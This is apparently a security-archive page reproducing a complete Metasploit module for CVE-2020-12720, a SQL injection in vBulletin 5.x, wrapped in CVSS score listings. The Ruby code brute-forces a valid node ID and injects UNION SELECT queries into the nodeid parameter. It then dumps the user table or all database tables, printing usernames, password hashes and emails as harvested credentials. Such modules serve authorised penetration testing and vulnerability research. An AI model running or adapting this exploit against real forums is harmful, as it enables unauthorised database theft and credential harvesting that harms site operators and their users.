Lucene search

K
packetstormCharles FOL, Zenofex, metasploit.comPACKETSTORM:180699
HistoryAug 31, 2024 - 12:00 a.m.

vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection

2024-08-3100:00:00
Charles FOL, Zenofex, metasploit.com
packetstormsecurity.com
14
vbulletin
sql injection
user table
ubuntu linux

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }.freeze  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection',  
'Description' => %q{  
This module exploits a SQL injection vulnerability found in vBulletin 5.x.x to dump the user  
table information or to dump all of the vBulletin tables (based on the selected options). This  
module has been tested successfully on VBulletin Version 5.6.1 on Ubuntu Linux.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Charles Fol <folcharles[at]gmail.com>', # (@cfreal_) CVE  
'Zenofex <zenofex[at]exploitee.rs>' # (@zenofex) PoC and Metasploit module  
],  
'References' => [  
['CVE', '2020-12720']  
],  
'Actions' => [  
['DumpUser', { 'Description' => 'Dump only user table used by vbulletin.' }],  
['DumpAll', { 'Description' => 'Dump all tables used by vbulletin.' }]  
],  
'DefaultAction' => 'DumpUser',  
'DisclosureDate' => '2020-03-12',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Path to vBulletin', '/']),  
OptInt.new('NODE', [false, 'Valid Node ID']),  
OptInt.new('MINNODE', [true, 'Valid Node ID', 1]),  
OptInt.new('MAXNODE', [true, 'Valid Node ID', 200]),  
])  
end  
  
# Performs SQLi attack  
def do_sqli(node_id, tbl_prfx, field, table, condition = nil, limit = nil)  
where_cond = condition.nil? || condition == '' ? '' : "where #{condition}"  
limit_cond = limit.nil? || limit == '' ? '' : "limit #{limit}"  
injection = " UNION ALL SELECT 0x2E,0x74,0x68,0x65,0x2E,0x65,0x78,0x70,0x6C,0x6F,0x69,0x74,0x65,0x65,0x72,0x73,0x2E,#{field},0x2E,0x7A,0x65,0x6E,0x6F,0x66,0x65,0x78 "  
injection << "from #{tbl_prfx}#{table} #{where_cond} #{limit_cond} --"  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'content_infraction', 'getIndexableContent'),  
'vars_post' => {  
'nodeId[nodeid]' => "#{node_id}#{injection}"  
}  
})  
  
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['rawtext']  
  
parsed_resp['rawtext']  
end  
  
# Gets the prefix to the SQL tables used in vbulletin install  
def get_table_prefix(node_id)  
print_status('Attempting to determine the vBulletin table prefix.')  
table_name = do_sqli(node_id, '', 'table_name', 'information_schema.columns', "column_name='phrasegroup_cppermission'")  
  
unless table_name && table_name.split('language').index  
fail_with(Failure::Unknown, 'Could not determine the vBulletin table prefix.')  
end  
  
table_prfx = table_name.split('language')[0]  
print_good("Successfully retrieved table to get prefix from #{table_name}.")  
  
table_prfx  
end  
  
# Brute force a nodeid (attack requires a valid nodeid)  
def brute_force_node  
min = datastore['MINNODE']  
max = datastore['MAXNODE']  
  
if min > max  
print_error("MINNODE can't be major than MAXNODE.")  
return nil  
end  
  
for node_id in min..max  
if exists_node?(node_id)  
return node_id  
end  
end  
  
nil  
end  
  
# Checks if a nodeid is valid  
def exists_node?(id)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'node', 'getNode'),  
'vars_post' => {  
'nodeid' => id.to_s  
}  
})  
  
return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']  
  
print_good("Successfully found node at id #{id}")  
true  
end  
  
# Gets a node through BF or user supplied value  
def get_node  
if datastore['NODE'].nil? || datastore['NODE'] <= 0  
print_status('Brute forcing to find a valid node id.')  
return brute_force_node  
end  
  
print_status("Checking node id '#{datastore['NODE']}'.")  
return datastore['NODE'] if exists_node?(datastore['NODE'])  
  
nil  
end  
  
# Report credentials to MSF DB  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: ssl ? 'https' : 'http',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user]  
}.merge(service_data)  
  
if opts[:password]  
credential_data.merge!(  
private_data: opts[:password],  
private_type: :nonreplayable_hash,  
jtr_format: 'bcrypt'  
)  
end  
  
login_data = {  
core: create_credential(credential_data),  
status: opts[:status],  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
# Get columns for table  
def get_table_columns(node_id, table_prfx, table)  
print_status("Getting table columns for #{table_prfx}#{table}")  
columns_cnt = do_sqli(node_id, '', 'COUNT(COLUMN_NAME)', 'INFORMATION_SCHEMA.COLUMNS', "TABLE_NAME='#{table_prfx}#{table}'")  
fail_with(Failure::UnexpectedReply, "Could not get count of columns for #{table_prfx}#{table}.") unless columns_cnt  
  
columns = []  
for idx in 0..columns_cnt.to_i  
column = do_sqli(node_id, '', 'COLUMN_NAME', 'INFORMATION_SCHEMA.COLUMNS', "TABLE_NAME='#{table_prfx}#{table}'", "#{idx}, #{idx + 1}")  
columns << column  
end  
print_good("Retrieved #{columns_cnt} columns for #{table_prfx}#{table}")  
  
columns  
end  
  
# Gets rows from table  
def get_all_rows(node_id, table_prfx, table, columns)  
print_status("Dumping table #{table_prfx}#{table}")  
field_var = 'concat('  
columns.each do |col|  
if !col.blank?  
field_var << "COALESCE(#{col},''),0x7C,"  
end  
end  
field_var << '\'\')'  
  
row_cnt = do_sqli(node_id, table_prfx, 'COUNT(*)', "#{table_prfx}#{table}")  
if row_cnt.nil? || row_cnt.to_i < 0  
print_status('Table contains 0 rows, skipping.')  
return nil  
end  
print_status("Table contains #{row_cnt} rows, dumping (this may take a while).")  
  
rows = []  
for r_idx in 0..row_cnt.to_i - 1  
field_hash = {}  
fields = do_sqli(node_id, table_prfx, field_var.to_s, "#{table_prfx}#{table}", '', "#{r_idx}, #{r_idx + 1}")  
field_list = fields.split('|')  
field_list.each_with_index do |field, f_idx|  
field_hash[columns[f_idx.to_i]] = field.to_s  
end  
  
unless field_hash['username'].blank? && table != /user/  
print_good("Found credential: #{field_hash['username']}:#{field_hash['token']} (Email: #{field_hash['email']})")  
report_cred(  
ip: rhost,  
port: datastore['RPORT'],  
user: field_hash['username'].to_s,  
password: field_hash['token'].to_s,  
status: Metasploit::Model::Login::Status::UNTRIED,  
jtr_format: 'bcrypt',  
proof: field_hash.to_s  
)  
end  
  
rows << field_hash  
end  
print_good("Retrieved #{row_cnt} rows for #{table_prfx}#{table}")  
  
rows  
end  
  
# Get all tables in database with prefix  
def get_all_tables(node_id, table_prfx)  
print_status('Dumping all table names from INFORMATION_SCHEMA')  
table_cnt = do_sqli(node_id, '', 'COUNT(TABLE_NAME)', 'INFORMATION_SCHEMA.TABLES', "TABLE_NAME like '#{table_prfx}%'")  
fail_with(Failure::UnexpectedReply, "Could not get count of tables with prefix: #{table_prfx}.") unless table_cnt  
  
tables = []  
for idx in 0..table_cnt.to_i  
table = do_sqli(node_id, '', 'TABLE_NAME', 'INFORMATION_SCHEMA.TABLES', "TABLE_NAME like '#{table_prfx}%'", "#{idx}, #{idx + 1}")  
tables << table  
end  
print_good("Retrieved #{table_cnt} tables for #{table_prfx}")  
  
tables  
end  
  
# Stores table data to file on disk  
def store_data(data, name)  
path = store_loot(name, 'text/plain', datastore['RHOST'], data.to_json, name)  
print_good("Saved file to: #{path}")  
end  
  
# Performs all sql injection functionality  
def run  
# Get node_id for requests  
node_id = get_node  
fail_with(Failure::Unknown, 'Could not get a valid node id for the vBulletin install.') unless node_id  
  
# Get vBulletin table prefix (from known vb table 'language')  
table_prfx = get_table_prefix(node_id)  
  
tables = action.name == 'DumpAll' ? get_all_tables(node_id, table_prfx) : ["#{table_prfx}user"]  
tables.each do |table|  
columns = get_table_columns(node_id, '', table)  
rows = get_all_rows(node_id, '', table, columns)  
store_data(rows, table.to_s) unless rows.nil?  
end  
end  
end  
`

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7

Confidence

Low